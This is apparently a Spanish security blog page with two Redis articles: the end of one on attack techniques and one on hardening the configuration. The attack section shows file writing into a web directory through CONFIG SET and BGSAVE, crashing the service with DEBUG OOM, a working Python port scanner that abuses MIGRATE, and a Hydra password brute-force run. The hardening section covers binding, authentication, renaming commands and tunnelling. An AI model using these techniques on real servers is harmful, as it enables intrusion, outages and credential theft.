redis 192.168.118.154:6379> config set dbfilename /var/www/config/test.php
OK
redis 192.168.118.154:6379> bgsave
Background saving started

Si redis se ejecuta como root, se podrá escribir en cualquier parte, utilizar /var/spool/cron o cualquier otro método.

La página oficial de redis ya avisa sobre este problema.
This allows clients to write RDB Redis files at random paths, that is a security issue that may easily lead to the ability to run untrusted code as the same user as Redis is running.

Este es un buen motivo para no ejecutar el servicio como root, se establezca autenticación y se deshabilite CONFIG.

2.- Denegación de servicio
Tan sencillo como invocar a alguno de los comandos que paran o "crashean" el servicio. Una característica que si se invoca por una persona no autorizada se convierte en una denegación de servicio.

Comandos como SHUTDOWN o DEBUG SEGFAULT paran el servicio. El primero de forma normal y el segundo generando un error segmentación para poder analizarlo.

Existen otras funciones que hacen caer el servicio y no están documentadas (más allá del código fuente), como DEBUG OOM que genera un Out Of Memory.

root@ubuntu:/var/www/cache# telnet localhost 6379
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
DEBUG OOM
Connection closed by foreign host.
root@ubuntu:/var/www/cache# telnet localhost 6379
Trying 127.0.0.1...
telnet: Unable to connect to remote host: Connection refused

3.- Análisis de puertos.
La base de datos permite migrar una clave/valor de un sistema a otro mediante el comando MIGRATE. Este mismo comando se puede usar para analizar puertos, por ejemplo, de otros sistemas de la red local o máquinas remotas, ya que la respuesta ante un puerto cerrado y uno abierto es distinta.

aramosf@ubuntu:/tmp$ telnet localhost 6379
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
SET a jeje
+OK
MIGRATE 127.0.0.1 21 a 1 1
-IOERR error or timeout writing to target instance
MIGRATE 127.0.0.1 22 a 1 1
-IOERR error or timeout reading from target node

Con una pequeña ayuda se automatiza el proceso.

#!/usr/bin/python
# Thu Feb 13 16:55:32 UTC 2014 <aramosf @ unsec.net>
#
# Scan a host using redis server.
# Using MIGRATE response:
# 
# MIGRATE 127.0.0.1 21 a 1 1
#-IOERR error or timeout writing to target instance # <-- close="" font="">
# MIGRATE 127.0.0.1 22 a 1 1
#-IOERR error or timeout reading from target node # <-- font="" open="">

import socket
import sys
import string

if len(sys.argv) < 4:
 print sys.argv[0] + "<redis IP> <redis PORT> <IP to scan>"
 sys.exit()

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
except socket.error:
    print 'Failed'
    sys.exit()

host = sys.argv[1];
port = int(sys.argv[2]);
toscan = sys.argv[3];
readbuffer=""
s.connect((host, port))
message = "set a1 1\r\n"

try :
    s.sendall(message)
except socket.error:
    print 'Failed'
    sys.exit()
reply = s.recv(50)
for p in range(1, 65535):
 message = "MIGRATE " + toscan + " " + str(p) + " a1 1 3000\r\n";

 try :
    s.sendall(message)
 except socket.error:
    print 'Failed'
    sys.exit()
 readbuffer=readbuffer+s.recv(1024)
 temp=string.split(readbuffer, "\n")
 readbuffer=temp.pop( )
 for line in temp:
     line=string.rstrip(line)
 if not "writing" in line:
   print str(p) + " open"
   if  "OK" in line:
    message = "set a1 1\r\n"
    s.sendall(message)
    reply=s.recv(10)
s.close()

4.- Borrado completo de datos.
Los comandos FLUSHDB, FLUSHALL o DEL, incluso los del tipo SET permiten eliminar o sobreescribir cualquier clave de la base de datos, esto se vuelve especialmente peligroso si no existe ningún tipo de control de acceso. 

5.- Fuerza bruta contra el acceso.
El sistema de autenticación es muy sencillo y tras lo que hemos visto anteriormente, prácticamente imprescindible. En caso de que os encontréis con uno de estos servidores se puede usar este módulo que he desarrollado para THC-Hydra (por lo que me comento vh, lo añadirán en la 7.7). La base de datos no dispone de ningún tipo de protección o bloqueo.

Tal y como ellos mismos documentan:
Note: because of the high performance nature of Redis, it is possible to try a lot of passwords in parallel in very short time, so make sure to generate a strong and very long password so that this attack is infeasible.

[aramosf@digitalsec hydra-7.6-redis]# ./hydra -v -P pass redis://127.0.0.1
Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only

Hydra (http://www.thc.org/thc-hydra) starting at 2014-02-10 16:58:06
[DATA] 16 tasks, 1 server, 18 login tries (l:1/p:18), ~1 try per task
[DATA] attacking service redis on port 6379
[VERBOSE] Resolving addresses ... done
[VERBOSE] Authentication failed for password 13
[VERBOSE] Authentication failed for password 12
[VERBOSE] Authentication failed for password 6
[VERBOSE] Authentication failed for password 14
[6379][redis] host: 127.0.0.1   login:    password: Zurrupia
[VERBOSE] Authentication failed for password 4
[VERBOSE] Authentication failed for password 9
[VERBOSE] Authentication failed for password 2
[STATUS] attack finished for 127.0.0.1 (waiting for children to complete tests)

Pese a los comentarios en el artículo de AUTH, estoy convencido que pronto integrarán alguna protección.



6.- Escuchar tráfico.
Como ya conocemos, redis no cifra ningún dato, ni siquiera hace un simple hash de la contraseña, por lo que si alguien consigue acceso a la red y levanta un sniffer, podrá obtener toda la información, incluida la credencial de acceso.



Leer más...

17 febrero 2014

[1/2] Seguridad en Redis - Fortificación

Si estás leyendo este artículo seguramente sea porque ya conoces Redis, un motor de base de datos basado en clave/valor que almacena los datos en memoria y que últimamente, debido al alto rendimiento que ofrece, está de moda.

En este artículo se detallarán medidas de seguridad a aplicar para asegurar su fortificación

En la mayoría de los sistemas Linux las instalaciones por defecto  ya tienen en consideración algunas de estas inquietudes, pero por requisitos o por instalaciones manuales en ocasiones son modificadas.

La propia documentación de Redis nos pone en aviso de que está diseñado pensando en los mundos de Yupi: "Redis is designed to be accessed by trusted clients inside trusted environments", algo extraño teniendo en cuenta que su autor es Salvatore Sanfilippo (antirez), al que conocemos de otros proyectos como hping 

1.- Escucha del servicio.
El demonio de redis debería escuchar únicamente en loopback o un socket de Unix. Si no, nuestro servicio será accesible a toda la red, por defecto, sin autenticación.

Para configurar las interfaces en las que escucha se debe modificar el fichero redis.conf y especificar las IPs en el parámetro bind y el puerto con el parámetro port, que en caso de ser 0, no permitirá conexiones TCP.

Tal y como comentaba inicialmente, esta configuración viene por defecto para 127.0.0.1 6379/tcp pero en ocasiones "pasan cosas", tal y como se puede ver en shodan 

port 6379
bind 127.0.0.1

En caso de que sea necesario el uso por red, es conveniente filtrar el puerto mediante un firewall en local.

# 6379 = redis port
# 10.1.2.3 = clientIP1
iptables -I INPUT -p tcp --dport 6379 -s 10.1.2.3 -j ACCEPT
iptables -I OUTPUT -p tcp --sport 6379 -d 10.1.2.3 -j ACCEPT
iptables -I INPUT -p tcp --dport 6379 -j DROP

Para habilitar el socket de unix se especifica mediante los siguientes valores.

unixsocket /var/run/redis/redis.sock
unixsocketperm 755

2.- Ejecución con los mínimos privilegios.
El servicio debe arrancarse bajo un usuario no privilegiado específico y si es posible, en un entorno enjaulado. Como veremos en el siguiente artículo esto puede volverse uno de los mayores problemas.

El cambio de usuario implica que los ficheros que utiliza el motor sean también propiedad de este usuario. Como son el fichero de PID (especificado mediante pidfile en redis.conf), el log (logfile) y los directorios de la base de datos (dir).

En caso de Ubuntu todos estos parámetros de arranque están en el propio script de inicio: /etc/init.d/redis-server, al igual que en CentOS: /etc/rc.d/init.d/redis

En general, estos parámetros también deben estar así si se instala un paquete, aunque por desgracia si se desea enjaular será necesario hacerlo manualmente.

pidfile /var/run/redis/redis-server.pid
logfile /var/log/redis/redis-server.log
dir /var/lib/redis

3.- Establecer autenticación. 
Este punto es crítico, ya que por defecto se puede acceder a la base de datos sin ningún tipo de autenticación. El acceso es total y permite ejecutar absolutamente todos los comandos de la base de datos.

Para establecer autenticación se debe especificar una contraseña (en texto claro) con el parámetro requirepass en el archivo redis.conf 

Redis no soporta usuarios ni roles, por lo que aquel que conecte tendrá todo o nada.

requirepass SuperInfinitoOOoOOoOO

Si la base de datos se replica, los esclavos deben de definir esta contraseña en su configuración.

masterauth SuperInfinitoOOoOOoOO

4.- Desactivar los comandos no usados.
La base de datos soporta decenas de comandos distintos. Algunos de ellos completamente innecesarios para el funcionamiento normal de la base de datos y mucho menos, para usuarios que no deberían tener privilegios de administración (como los desarrolladores).

Para desactivar un comando se renombra a "" (nada) y dejará de ser posible su uso. También se puede renombrar a algo desconocido para que solo aquellos que lo conozcan puedan hacer uso de la llamada.

Lo ideal es identificar los comandos que son necesarios y deshabilitar el resto, son especialmente peligrosos: FLUSHDB, FLUSHALL, CONFIG, DEBUG, MIGRATE, SLAVEOF y SHUTDOWN, Este último es usado para parar el servicio por los scripts de inicio y que por lo tanto requerirá que estos se modifiquen.

La lista completa de comandos se encuentra en: http://redis.io/commands

rename-command FLUSHALL ""
rename-command FLUSHDB ""
rename-command DEBUG ""
rename-command SHUTDOWN SHUTDOWNSECRET
rename-command CONFIG ""
rename-command MIGRATE ""
rename-command SLAVEOF ""
rename-command CLIENT ""
... otros rename-command ...

5.- Cifrado de tráfico entre cliente y servidor.
La comunicación entre cliente y servidor es en texto plano y nativamente no es posible aplicar ningún tipo de cifrado en esta conexión. Si la red no es confiable (ninguna lo es) se debe utilizar una segunda herramienta sobre la que delegarlo. Existen múltiples opciones como stunnel, socat o ssh.

# cliente
stunnel -c -d 6379 -r servidor_redis:1999
# servidor
stunnel -d 1999 -r localhost:6379 

6.- Almacenamiento  de registros.
Los ficheros de registro deben salvaguardarse en un directorio seguro. Estos archivos deben rotarse y mantener la misma política de seguridad que para otros registros del sistema. Si no se define logfile serán mandados a la salida estandar del sistema. Si el parámetro daemonize está activado, serán enviados a /dev/ null.

loglevel notice
logfile /var/log/redis/redis-server.log

Si fuera necesario, existe la posibilidad de mandar los ficheros a syslog.

syslog-enabled yes
syslog-ident redis
syslog-facility local0

7.- Ajustes de rendimiento.
Como comentábamos inicialmente redis está diseñado pensando en el rendimiento, por ese motivo cambiar ajustes que afecten a este aspecto es un problema importante. Desgraciadamente, obtener el máximo rendimiento y ser susceptible a una denegación de servicio abusando de los recursos de memoria o red suelen ir de la mano.

Para ajustar esta línea, se debe jugar con varios parámetros que permitirán que el servicio permanezca estable y siga siendo óptimo en su rendimiento. De momento no existe una fórmula mágica para definirlos, dependerá de las especificaciones hardware de los servidores, número de peticiones y otros factores.

maxclients XXXX
timeout XXX
tcp-keepalive XXX
maxmemory XXXXXXXXX

Referencias:
Leer más...